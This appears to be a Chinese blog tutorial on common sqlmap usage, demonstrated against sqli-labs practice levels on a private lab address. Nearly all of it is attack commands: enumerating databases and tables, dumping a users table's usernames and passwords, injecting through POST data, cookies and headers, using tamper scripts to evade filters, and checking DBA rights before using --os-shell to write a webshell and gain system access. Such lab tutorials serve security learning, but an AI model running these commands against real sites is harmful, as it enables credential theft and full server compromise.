SQLMAP常见用法

需要安装python2的环境

使用方法:

用最基础的get型注入开始

1、当我们发现注入点的时候,

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"

2、查看所有的数据库

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs

3、查看当前使用的数据库

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-db

4、发现使用的是security数据库,接下来对此数据库进行查询

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"

5、查出所有表以后,对users表的列名进行查询

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"

6、users表中的列名已经知道了,可以直接查出所有数据

python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"

在“用户”-》“.sqlmap”-》“output”可看到查询结果

1、get请求

python2 sqlmap.py -u "urls" --dbms=mysql --batch --level 3 --risk 3

--dbms=mysql 指定数据库为mysql

--batch 不用点击,一路自动默认

--level 3 level指的是payload的强度,分为5挡,通常使用3级以上会有更多的payload

--risk 3 risk指的是风险等级,一般有3挡,主要也是跟攻击的强度有关

2、post请求

第一种:python2 sqlmap.py -u "urls" --data="user=admin&pass=pass"

以sqli-lab 11关为例:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-11/index.php" --data="uname=admin&passwd=admin" --dbms=mysql --batch

第二种:将post数据包抓下来后存放到sqlmap的工作目录下,命名为"1.txt"

python2 sqlmap.py -r "1.txt"

以sqli-lab 11关为例:

python2 sqlmap.py -r "1.txt" --dbms=mysql --batch

3、http头的注入

http头注入就要用到--level 3,头注入的要领就是提前声明头部信息。

cookie:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-20/index.php" --cookie="uname=admin" --level 3 --dbms=mysql --batch

这里的--cookie只是设置我这个sqlmap脚本去请求的cookie值,只有加了--level 3之后才会对cookie地方进行注入

referer,user-agent其他的http:

原理和用法都跟cookie相同,参数不同而已,--referer= ,--user-agent=

最省力的方式就是讲要注入的数据包抓包存放到sqlmap工作文件夹内,在要注入的地方后面加上*号,然后再使用-r像post注入一样的用法

4、tamper使用

tamper是sqlmap中内置的一些绕过防护过滤的一些字符转换脚本

python2 sqlmap.py -u "urls" --tamper=""

tamper的路径在\sqlmap\tamper下。tamper是死的,人是活的,要根据实际情况灵活应用。

5、写入webshell

当发现注入点,并且注入点可写的情况下

以less-1为例:

1、获取注入点 :

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --batch

2、查看当前用户:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --current-user

3、确认当前用户是否DBA(数据库管理员)权限:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --is-dba

4、确认是DBA后,开始执行木马写入:

python2 sqlmap.py -u "http://192.168.100.200:8004/Less-1/?id=1" --dbms=mysql --os-shell

接下来会选择脚本语言以及写入的路径,选择好后就可以直接获得系统权限。



SQLMAP常见用法

上一篇:sqlmap-注入方法大全


下一篇:libnuma.so.1()(64bit) is needed by mysql-community-server-5.7.9-1.el6.x86_64